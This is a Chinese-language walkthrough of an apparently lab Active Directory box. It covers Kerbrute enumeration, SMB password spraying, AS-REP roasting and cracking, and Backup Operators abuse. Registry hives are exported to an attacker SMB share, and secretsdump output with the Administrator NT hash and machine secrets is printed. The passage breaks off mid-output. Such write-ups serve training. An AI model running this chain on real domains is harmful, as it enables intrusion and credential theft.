开局报错,修改名字即可


思维导图
信息收集与域渗透流程
│
├── 1. 主机发现 & 基础信息收集
│ ├── 1.1 ARP 扫描
│ │ ├── 工具:arp-scan
│ │ ├── 作用:发现本地网段存活主机
│ │ └── 示例:arp-scan -l | grep “08:00:27”
│ │
│ ├── 1.2 Nmap 扫描
│ │ ├── 使用参数:
│ │ │ ├── -Pn(跳过主机发现)
│ │ │ ├── -sT(三次握手 TCP 扫描)
│ │ │ ├── -sC(默认脚本)
│ │ │ ├── -sV(服务版本探测)
│ │ │ └── -T4(加速扫描)
│ │ ├── 主要输出内容:
│ │ │ ├── Kerberos(88)
│ │ │ ├── LDAP(389/636/3268/3269)
│ │ │ ├── SMB(445)
│ │ │ └── RPC(135)
│ │ └── 结果用途:判断域控、判断可用攻击面
│
├── 2. 域侦察:匿名 SMB、Kerberos 用户枚举
│ ├── 2.1 SMB 匿名连接测试
│ │ ├── 工具:smbclient
│ │ ├── 目的:判断是否能匿名枚举共享
│ │ └── 结果:失败 → 不能匿名
│ │
│ ├── 2.2 Kerberos 用户名枚举(Kerbrute)
│ │ ├── 原理:
│ │ │ ├── 通过 AS-REQ 错误码判断用户名存在性
│ │ │ └── 无需任何凭据
│ │ ├── 工具:Kerbrute
│ │ ├── 命令:
│ │ │ ./kerbrute userenum -d DOMAIN —dc IP user.txt
│ │ └── 输出:发现有效用户(admin, Administrator, charlie…)
│ │
│ └── 2.3 清洗用户列表
│ ├── sed 去颜色
│ ├── awk 去域名
│ └── 生成干净 user.txt
│
├── 3. SMB 密码喷洒(最稳定的认证协议)
│ ├── 3.1 为什么 SMB 是第一选择
│ │ ├── 默认开启
│ │ ├── 支持 NTLM / PTH / Kerberos
│ │ ├── 认证返回码准确
│ │ └── 成功后能执行命令
│ │
│ ├── 3.2 使用 NetExec / CrackMapExec
│ │ ├── 命令示例:
│ │ │ └── nxc smb DC -u user.txt -p user.txt —continue-on-success
│ │ ├── —continue-on-success:成功后继续测试
│ │ ├── —no-bruteforce:只测试 username=password
│ │ └── 结果:发现 charlie:charlie
│
├── 4. 渗透标准域用户(charlie)
│ ├── 4.1 SMB 登录测试
│ │ ├── 工具:nxc / smbclient
│ │ └── 结果:登录成功,但权限低
│ │
│ ├── 4.2 SMB 枚举共享
│ │ └── 无法访问敏感共享(只读)
│ │
│ ├── 4.3 RID 爆破(枚举更多域用户)
│ ├── 工具:NetExec
│ ├── 目的:获取所有域用户列表
│ └── 结果:生成更大的 user 列表
│
├── 5. AS-REP Roasting(无须密码)
│ ├── 5.1 原理
│ │ ├── “不需要预认证” 用户可直接获得 AS-REP 密文
│ │ ├── 可离线破解
│ │ ├── 无限制、不触发锁定
│ │ └── 属于高危配置
│ │
│ ├── 5.2 工具:GetNPUsers(Impacket)
│ │ ├── 命令:
│ │ │ impacket-GetNPUsers -usersfile user -dc-ip IP DOMAIN/user:pass
│ │ └── 结果:获得 zximena448 的 AS-REP
│ │
│ ├── 5.3 哈希破解
│ │ ├── 工具:john / hashcat
│ │ └── 结果:密码 = internet
│
├── 6. 权限提升至高级用户(zximena448)
│ ├── 6.1 SMB 认证测试
│ │ └── 成功,且访问权限提升
│ │
│ ├── 6.2 共享枚举
│ │ ├── 访问 ADMIN$
│ │ ├── 访问 C$
│ │ └── 获得更多敏感目录
│ │
│ └── 6.3 读取桌面文件
│ ├── 工具:smbclient
│ ├── 操作:cd /Users/xxx/Desktop
│ └── 获取 user.txt / flag
│
└── 7. 下一步行动(可选)
├── DCSync
├── Pass-the-Hash
├── Pass-the-Ticket
├── 获取 SYSTEM 权限
└── 横向移动信息收集
┌──(root㉿kali)-[/home/kali]└─# arp-scan -l | grep "08:00:27" | awk '{print $1}'WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission deniedWARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied172.16.55.13namp指令
-Pn(跳过主机发现)
-sTCV(组合扫描类型)
-sT(TCP连接扫描)
- 使用完整的TCP三次握手建立连接
- 优点:最稳定可靠,不会被防火墙轻易阻止
- 缺点:速度较慢,会在目标日志中留下记录
- 工作原理:尝试与每个端口建立完整连接
-sC(脚本扫描)
- 使用nmap的默认脚本集进行更深入的探测
- 脚本可以检测:服务版本、漏洞、配置信息等
- 相当于
--script=default
-sV(版本检测)
- 探测开放端口上运行的服务及其版本号
- 通过发送特定探测包并分析响应来识别服务
-T4(时间模板)
- 定义:设置扫描的时间策略/速度
- 级别范围:T0-T5(T0最慢,T5最快)
- T4特点:
- 激进模式(Aggressive)
- 比默认速度更快
- 增加带宽使用和网络负载
- 可能在网络中产生更多”噪音”
┌──(root㉿kali)-[/home/kali]└─# nmap -Pn -sTCV -T4 172.16.55.130Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-07 03:32 ESTNmap scan report for 172.16.55.130Host is up (0.00054s latency).Not shown: 989 filtered tcp ports (no-response)PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-12-07 23:32:36Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)3269/tcp open tcpwrappedService Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required|_clock-skew: 14h59m57s| smb2-time:| date: 2025-12-07T23:32:37|_ start_date: N/A|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:de:3d:5b (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 65.15 second- 88/tcp → Kerberos(域身份认证)(可以利用SPN获取TGS hash)
- 389/tcp / 636/tcp / 3268 / 3269 → LDAP / LDAPS / 全局编录
- 135 / 139 / 445 → RPC / SMB(文件共享、远程调用)
- 464 → kpasswd(Kerberos 改密)
- Hostname: DC01,Domain: SOUPEDECODE.LOCAL
根据nmap进行添加hosts
172.16.55.130 SOUPEDECODE.LOCALSMB匿名连接
由于开放445端口所以尝试进行smb匿名连接
┌──(root㉿kali)-[/home/kali]└─# smbclient -L 172.16.55.130 -N
session setup failed: NT_STATUS_ACCESS_DENIED可以发现无法进行匿名连接
无凭据情况下枚举域用户
前置知识
1️⃣ 背景:Kerberos 在 Windows 域里的作用
- Windows 域控 (DC) 使用 Kerberos 协议 来认证用户。
- Kerberos 流程大致:
- 客户端请求 TGT (Ticket Granting Ticket),发送用户名给 KDC(Key Distribution Center,域控)。
- KDC 检查用户名:
- 用户存在 → 返回 需要预认证(Pre-authentication required)
- 用户不存在 → 返回 Principal unknown 错误
注意:此阶段无需提供密码即可判断用户名是否存在。
2️⃣ Kerbrute 的工作原理
kerbrute userenum 主要利用了 TGT 请求的响应差异:
- 向目标 DC 的 Kerberos 服务 (TCP 88) 发送 AS-REQ(Authentication Service Request) 请求
- 请求里只包含用户名,不需要密码
- DC 返回不同的错误码:
| 返回信息 | 含义 |
|---|---|
| KRB5KDC_ERR_PREAUTH_REQUIRED | 用户存在(但需要密码才能继续) |
| KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN | 用户不存在 |
- Kerbrute 根据返回码判断哪些用户名有效,并把结果输出
3️⃣ 为什么 SMB / LDAP 不行时仍可用
- SMB / LDAP 匿名访问被禁 → 无法直接枚举用户或共享
- Kerberos 枚举不依赖匿名访问权限,它只依赖 KDC 对用户名存在与否的响应差异
- 所以即使没有凭据,也能收集域内用户名
4️⃣ 可视化比喻
- DC 就像一个 前台接待:
- SMB / LDAP 匿名访问:前台要求出示工卡,否则不给看公司目录
- Kerberos TGT 请求:你报一个名字,前台会告诉你这个名字是否在员工名单上,但不需要密码
✅ 总结
- Kerbrute 枚举用户名的核心原理:利用 Kerberos 对存在/不存在用户名返回不同错误码
- 不需要凭据、不受匿名访问限制,是 域用户收集的标准手段
kerbrute枚举
工具:https://github.com/ropnop/kerbrute/releases↗
┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]└─# ./kerbrute userenum -d SOUPEDECODE.LOCAL --dc 172.16.55.130 /home/kali/Desktop/wordlists/self/user.txt
__ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __//_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/07/25 - Ronnie Flathers @ropnop
2025/12/07 03:48:53 > Using KDC(s):2025/12/07 03:48:53 > 172.16.55.130:88
2025/12/07 03:48:53 > [+] VALID USERNAME: admin@SOUPEDECODE.LOCAL2025/12/07 03:48:53 > [+] VALID USERNAME: ADMIN@SOUPEDECODE.LOCAL2025/12/07 03:48:53 > [+] VALID USERNAME: Administrator@SOUPEDECODE.LOCAL2025/12/07 03:48:53 > [+] VALID USERNAME: charlie@SOUPEDECODE.LOCAL2025/12/07 03:48:54 > Done! Tested 8886 usernames (4 valid) in 0.813 seconds./kerbrute userenum -d SOUPEDECODE.LOCAL --dc 172.16.55.130 /home/kali/Desktop/wordlists/self/user.txt 2>&1 \| sed -n 's/\x1b\[[0-9;]*m//g; /VALID USERNAME/ {s/.*VALID USERNAME: *//; s/@.*//; s/^[ \t]*//; s/[ \t\r]*$//; p}' > user.txtwith open('user.txt','r') as f: lines = f.readlines()
with open('user.txt','w') as f: for line in lines: line = line.strip() if '@' in line: username = line.split('@')[0].split()[-1] # 取最后一个空格后的部分 f.write(username + '\n')✅ 为什么 Kerbrute 枚举完用户之后,下一步要用 SMB?
因为 SMB 是 Active Directory(AD)环境中最通用、最可靠、最常见、最容易利用的协议,并且:
⭐ 在绝大多数 AD 渗透中,SMB 是“第一选择的认证协议”。
下面我告诉你为什么。
🟦 1. SMB 认证是所有 Windows 域主机都默认启用的
只要目标在域里,就会自动开启 445 端口(SMB)。
这意味着:
- 域控有 SMB
- 所有域内 Windows 服务器有 SMB
- 所有域内 Windows 工作站有 SMB
👉 这是域内最稳定、最肯定能碰到的认证入口。
🟦 2. SMB 支持 NTLM —— 你能用密码、hash、ticket 都能登录
SMB 支持的认证方式最全:
| 类型 | SMB | WinRM | LDAP | SSH |
|---|---|---|---|---|
| 明文密码 | ✔️ | ✔️ | ✔️ | ✔️ |
| NTLM hash | ✔️ | ✔️(受限) | ❌ | ❌ |
| Pass-the-Hash | ✔️(完全支持) | ✔️(部分) | ❌ | ❌ |
| Kerberos ticket (Pass-the-Ticket) | ✔️ | ✔️ | ❌ | ❌ |
所以:
只要你有密码或 hash,SMB 是最好用的登录协议。
🟦 3. SMB 登录成功后 → 可以直接做横向移动(最大价值:执行命令)
一旦 SMB 登录成功:
nxc smb <target> -u user -p pass -x "whoami"可以直接在目标执行命令,很适合上线目标机器。
🟦 4. SMB 错误码非常准确 → 最容易判断密码是否正确
例如:
- 密码正确 → 明确返回成功
- 密码错误 → 返回 STATUS_LOGON_FAILURE
- 账户锁定 → 返回 STATUS_ACCOUNT_LOCKED_OUT
- 用户存在但密码不对 → 明确区分
🔍 所以:密码喷洒、爆破都以 SMB 最精确、最稳。
🟦 5. 其他协议不适合作为“第一步攻击面”
你可能会问:
为什么不直接用 WinRM、LDAP、Kerberos?
因为:
❌ WinRM
- 默认不开
- 服务器端口5985/5986可能被关闭
- 要求用户必须属于 Remote Management Users
❌ LDAP
- 多数域控启用
- 但普通用户能做的事情有限(查信息,不执行命令)
❌ Kerberos
- 对密码判断没 SMB 精准
- 不支持执行命令或横向移动
❌ SSH / FTP / RDP
- 很多主机根本没有这些协议
- 在 AD 环境不稳定
因此:
👉 SMB 是攻击面最广、最稳定、成功率最高的协议
┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]└─# netexec smb SOUPEDECODE.LOCAL -u user.txt -p user.txt --continue-on-successSMB 10.0.90.222 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:admin STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:admin STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:admin STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\charlie:admin STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:ADMIN STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:ADMIN STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:ADMIN STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\charlie:ADMIN STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:Administrator STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:Administrator STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\charlie:Administrator STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:charlie STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:charlie STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:charlie STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [+] SOUPEDECODE.LOCAL\charlie:charlie默认情况下,NetExec 在某个账号密码组合 登录成功后会停止该用户的进一步尝试。
但加上: —continue-on-success
就算密码尝试成功也继续用该用户尝试密码本里的其他密码
—no-bruteforce 避免产生暴力破解行为。
如果有以下场景:
-u user.txt -p user.txt
username 和 password 列表相同
会产生很多(每个用户 × 每个密码)的组合
比如 user.txt 里有 100 行
将产生 100 × 100 = 10000 次尝试 → 这就变成 暴力破解 了。
加上:
--no-bruteforce表示:
❌ 不要对每个用户尝试整个密码列表
✔ 只尝试 “username=password” 一一对应的组合
也就是说:
alice:alice bob:bob charlie:charlie
┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]└─# crackmapexec smb 10.0.90.222 -u user.txt -p user.txt --continue-on-success --no-bruteforce
SMB 10.0.90.222 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:admin STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:ADMIN STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURESMB 10.0.90.222 445 DC01 [+] SOUPEDECODE.LOCAL\charlie:charlie渗透Charlie
┌──(root㉿kali)-[/home/kali/Desktop/hmv]└─# crackmapexec smb 172.16.55.130 -u charlie -p charlieSMB 172.16.55.130 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)SMB 172.16.55.130 445 DC01 [-] Connection Error: The NETBIOS connection with the remote host timed out.crackmapexec smb 172.16.55.130 -u charlie -p charlie --sharesSMB 172.16.55.130 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)SMB 172.16.55.130 445 DC01 [+] SOUPEDECODE.LOCAL\charlie:charlieSMB 172.16.55.130 445 DC01 [+] Enumerated sharesSMB 172.16.55.130 445 DC01 Share Permissions RemarkSMB 172.16.55.130 445 DC01 ----- ----------- ------SMB 172.16.55.130 445 DC01 ADMIN$ Remote AdminSMB 172.16.55.130 445 DC01 C$ Default shareSMB 172.16.55.130 445 DC01 IPC$ READ Remote IPCSMB 172.16.55.130 445 DC01 NETLOGON READ Logon server shareSMB 172.16.55.130 445 DC01 SYSVOL READ Logon server sharecharlie用户只有标准的域用户权限,无法访问敏感共享。
域用户进一步枚举
RID爆破 RID 爆破
使用charlie用户的凭据进行RID爆破,获取更多用户信息:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]└─$ nxc smb 192.168.205.146 -u charlie -p charlie --rid-brute|awk -F '\' '{print $2}'|awk '{print $1}' > userASREPRoasting 攻击
参考:https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/asreproast.html?highlight=AS-REP#asreproast-without-credentials↗
参考:https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/asreproast.html?highlight=AS-REP#asreproast-without-credentials↗
使用GetNPUsers工具检查是否有用户设置了”不要求Kerberos预认证”属性:
正常流程(有预认证):
- 客户端把“用密码加密的时间戳”发给域控
- 域控解密成功 → 证明你确实知道密码
- 域控发给你票据
如果不要求预认证:
客户端什么都不用证明
域控直接发给你一段“用用户密码加密的数据”(AS-REP)
⚠️ 任何人都可以拿回去慢慢爆破
意思就是:
❗ 域控免费送你一个可离线爆破密码的密文
❗ 不限次数
❗ 不会锁定账户
❗ 永远不会报警
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]└─# impacket-GetNPUsers -usersfile user -dc-ip 172.16.55.130 'SOUPEDECODE.LOCAL/charlie:charlie' |grep -v "-"
$krb5asrep$23$zximena448@SOUPEDECODE.LOCAL:74b7f0a590296d9c3eb6118f7c38a98b$942ed00a3bf5befca1b8f287858ebbab857c60f0889492fc9949930cc469336be125b28b9afd49e2614587d39086a56119c364cacfa611421217c2fa1bc6e32c0239d6c39843ef898f0bf86e23bbdebd655f23976c56fb07e633270ea47936eaf59ef2505337ada1d75a9b57973d26794687ecfd4e5624f374d753a438ad83ef82d36f481143cbc1d34654e48e99fa5fffe19196bbd90c3d67d6d923712f775e9f0b527697b33ed78c87bd94716c608de049673e2ec54dd99b2b1b8cfbd0f19582e7a97912cb813a98e10a5860182d2c4f8012248adc58a23fed11a58d3f6a316c135f312e5a9903cd99410e1f637a81a435b1351c5e哈希破解
使用john工具破解AS-REP哈希:
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]└─# john --wordlist=/usr/share/wordlists/rockyou.txt hashUsing default input encoding: UTF-8Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusinternet ($krb5asrep$23$zximena448@SOUPEDECODE.LOCAL)1g 0:00:00:00 DONE (2025-12-07 05:01) 100.0g/s 102400p/s 102400c/s 102400C/s 123456..bethanyUse the "--show" option to display all of the cracked passwords reliablySession completed.成功破解密码:zximena448:internet
权限提升
验证新凭据
使用新获得的凭据测试权限:
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]└─# nxc smb 172.16.55.130 -u zximena448 -p internet --shares[*] Initializing SMB protocol databaseSMB 172.16.55.130 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)SMB 172.16.55.130 445 DC01 [+] SOUPEDECODE.LOCAL\zximena448:internetSMB 172.16.55.130 445 DC01 [*] Enumerated sharesSMB 172.16.55.130 445 DC01 Share Permissions RemarkSMB 172.16.55.130 445 DC01 ----- ----------- ------SMB 172.16.55.130 445 DC01 ADMIN$ READ Remote AdminSMB 172.16.55.130 445 DC01 C$ READ,WRITE Default shareSMB 172.16.55.130 445 DC01 IPC$ READ Remote IPCSMB 172.16.55.130 445 DC01 NETLOGON READ Logon server shareSMB 172.16.55.130 445 DC01 SYSVOL READ Logon server sharezximena448用户具有更高权限,可以访问ADMIN共享。
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]└─# smbclient -U "SOUPEDECODE.LOCAL\zximena448" //172.16.55.130/C$Password for [SOUPEDECODE.LOCAL\zximena448]:Try "help" to get a list of possible commands.smb: \> ls $WinREAgent DH 0 Sat Jun 15 15:19:51 2024 Documents and Settings DHSrn 0 Sat Jun 15 22:51:08 2024 DumpStack.log.tmp AHS 12288 Sun Dec 7 20:27:15 2025 pagefile.sys AHS 1476395008 Sun Dec 7 20:27:15 2025 PerfLogs D 0 Sat May 8 04:15:05 2021 Program Files DR 0 Sat Jun 15 13:54:31 2024 Program Files (x86) D 0 Sat May 8 05:34:13 2021 ProgramData DHn 0 Sat Jun 15 22:51:08 2024 Recovery DHSn 0 Sat Jun 15 22:51:08 2024 System Volume Information DHS 0 Sat Jun 15 15:02:21 2024 Users DR 0 Mon Jun 17 14:31:08 2024 Windows D 0 Wed Aug 20 17:13:31 2025
12942591 blocks of size 4096. 10862525 blocks availablesmb: \> cd /Users/zximena448/desktopsmb: \Users\zximena448\desktop\> ls . DR 0 Mon Jun 17 14:31:24 2024 .. D 0 Mon Jun 17 14:30:22 2024 desktop.ini AHS 282 Mon Jun 17 14:30:22 2024 user.txt A 33 Wed Jun 12 16:01:30 2024
12942591 blocks of size 4096. 10862525 blocks availablesmb: \Users\zximena448\desktop\> get user.txtgetting file \Users\zximena448\desktop\user.txt of size 33 as user.txt (2.7 KiloBytes/sec) (average 2.7 KiloBytes/sec)smb: \Users\zximena448\desktop\>┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]└─# cat user.txt2fe79eb0e02ecd4dd2833cfcbbdb504c更换新IP :172.16.55.130
LDAP信息搜集
有了新的凭证,就暂时不用考虑kerberos了,尝试通过LDAP收集AD域的相关信息,使用到了一个叫ldapdomaindump的工具:
┌──(root㉿kali)-[/home/…/Desktop/hmv/DC02/zximena448]└─# grep -Pinr zximena448domain_users_by_group.html:489:<tr><td>Zach Ximena</td><td>Zach Ximena</td><td>zximena448</td><td>06/15/24 20:04:37</td><td>12/08/25 01:58:02</td><td>12/08/25 01:58:02</td><td>NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH</td><td>06/17/24 18:09:53</td><td><abbr title="S-1-5-21-2986980474-46765180-2505414164-1142">1142</abbr></td><td>Volunteer teacher and education advocate</td></tr>domain_users_by_group.html:997:<tr><td>Zach Ximena</td><td>Zach Ximena</td><td>zximena448</td><td>06/15/24 20:04:37</td><td>12/08/25 01:58:02</td><td>12/08/25 01:58:02</td><td>NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH</td><td>06/17/24 18:09:53</td><td><abbr title="S-1-5-21-2986980474-46765180-2505414164-1142">1142</abbr></td><td>Volunteer teacher and education advocate</td></tr>domain_users.json:59484: "zximena448@soupedecode.local"domain_users.json:59517: "zximena448"domain_users.json:59547: "zximena448@soupedecode.local"domain_users.html:489:<tr><td>Zach Ximena</td><td>Zach Ximena</td><td>zximena448</td><td><a href="domain_users_by_group.html#cn_Backup_Operators" title="CN=Backup Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL">Backup Operators</a></td><td><a href="domain_users_by_group.html#cn_Domain_Users" title="CN=Domain Users,CN=Users,DC=SOUPEDECODE,DC=LOCAL">Domain Users</a></td><td>06/15/24 20:04:37</td><td>12/08/25 01:58:02</td><td>12/08/25 01:58:02</td><td>NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH</td><td>06/17/24 18:09:53</td><td><abbr title="S-1-5-21-2986980474-46765180-2505414164-1142">1142</abbr></td><td>Volunteer teacher and education advocate</td></tr>domain_users.grep:459:Zach Ximena Zach Ximena zximena448 Backup Operators Domain Users 06/15/24 20:04:37 12/08/25 01:58:02 12/08/25 01:58:02 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH 06/17/24 18:09:53 S-1-5-21-2986980474-46765180-2505414164-1142 Volunteer teacher and education advocategrep -Pinr zximena448
(1) -P
启用 Perl 兼容正则表达式(PCRE)
也就是说,搜索规则可以使用更强的正则语法。
但这里你搜索的是纯字符串**zximena448**,所以 -P 没有特别作用。(2) -i
忽略大小写(case-insensitive)。
不管目标内容是:
- zximena448
- Zximena448
- ZXIMENA448
都会被匹配到。
(3) -n
显示匹配的行号。
(4) -r
递归搜索(recursive)。
从当前目录开始,包含所有子目录及子文件全部搜索。
zximena448账户基础信息解析
姓名:Zach Ximena账户名:zximena448SID:S-1-5-21-2986980474-46765180-2505414164-1142组成员:Backup Operators、Domain Users账户类型:NORMAL_ACCOUNT密码永不过期 (DONT_EXPIRE_PASSWD)不需要 Kerberos 预认证 (DONT_REQ_PREAUTH) ← ★关键🔥 重要点:DONT_REQ_PREAUTH = 不需要 Kerberos 预认证
这意味着该用户 可被 AS-REP Roasting(AS-REP爆破/脱机破解)。
也就是说攻击者可以直接向 DC 请求一个可破解的加密票据。
➡️ 使用工具:
impacket-GetNPUsers soupedecode.local/zximena448 -dc-ip <DC>这能直接得到可破解的密文。
✅ 2. 组成员信息解析
最关键的是:
Backup Operators(备份操作员)
Windows 内置高权限组,它的权限包括:
✔ 可以 备份与还原整个系统
✔ 可绕过文件 ACL
✔ 可利用 SeBackupPrivilege 和 SeRestorePrivilege 实现 本地提权
✔ 在某些场景下甚至能 读取 NTDS.dit(域控数据库)
➡️ 攻击者可以通过该组权限:
★ 提权方式:
- 利用
SeBackupPrivilege读取任意文件 - 读取 SYSTEM + SAM(本地哈希),甚至
- 读取 NTDS.dit(整个域哈希)
提取hash获取凭证
接下来就是搞一个临时的smb服务器,尝试将远程文件及hash导入本地尝试破解:
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]└─# mkdir share
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]└─# impacket-smbserver -smb2support kali ./shareImpacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0impacket-smbserver -smb2support kali ./share
这条命令含义:
创建 SMB 共享名:kali
实际对应本地目录:./share┌──(root㉿kali)-[/home/kali]└─# impacket-reg "SOUPEDECODE.LOCAL/zximena448:internet@172.16.55.130" backup -o //172.16.55.210/kaliImpacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...[*] Saved HKLM\SAM to //172.16.55.210/kali\SAM.save[*] Saved HKLM\SYSTEM to //172.16.55.210/kali\SYSTEM.save[*] Saved HKLM\SECURITY to //172.16.55.210/kali\SECURITY.save
impacket-reg会自动把导出的 SAM / SYSTEM / SECURITY 保存到你指定的 UNC 路径(你的 SMB 共享目录),所以你看到它存到了kali:也就是你用impacket-smbserver开出的共享目录 ./share。
impacket-secretsdump
┌──(root㉿kali)-[/home/…/Desktop/hmv/DC02/share]└─# impacket-secretsdump -system SYSTEM.save -security SECURITY.save -sam SAM.save LOCALImpacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets[*] $MACHINE.ACC$MACHINE.ACC:plain_password_hex:6bb0837cc9ef088d840c0fbc9c052c6ce6d1e3aca32a2ae3922805d644d7e3223f48b4e08088f76370bbb8ab85264cb4720b282643921402676be48d8d346686e2e12705a353bc9120306f4f5f49f107a27e01e2348e4b882338ec41c4f39e61e9dfa5e58f83637657c431c3d78d661ab091b9c0711f7e8ad0b0be5c73961a1d6cbee0f9c865bd8619c756241dc865f64effe8bbcf55fb8187f1fa18043eff8d8e5c4e5bf99d09d854b89c2296f658a08643bba26489f1b04012cb2eef8de0aa453c334218a45470f95de935855cbcf4aa87664bd81b7d52d72ed261c7a374b081db7d707546f18e53ed27e768e2c6aa$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:f9b18cfad5dc2ace780c2474e19ff1c6[*] DPAPI_SYSTEMdpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503[*] NL$KM 0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D........c../... 0010 62 4D CA D9 55 20 44 41 75 55 3E 85 82 06 21 14 bM..U DAuU>...!. 0020 8E FA A1 77 0A 9C 0D A4 9A 96 44 7C FC 89 63 91 ...w......D|..c. 0030 69 02 53 95 1F ED 0E 77 B5 24 17 BE 6E 80 A9 91 i.S....w.$..n...NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991[*] Cleaning 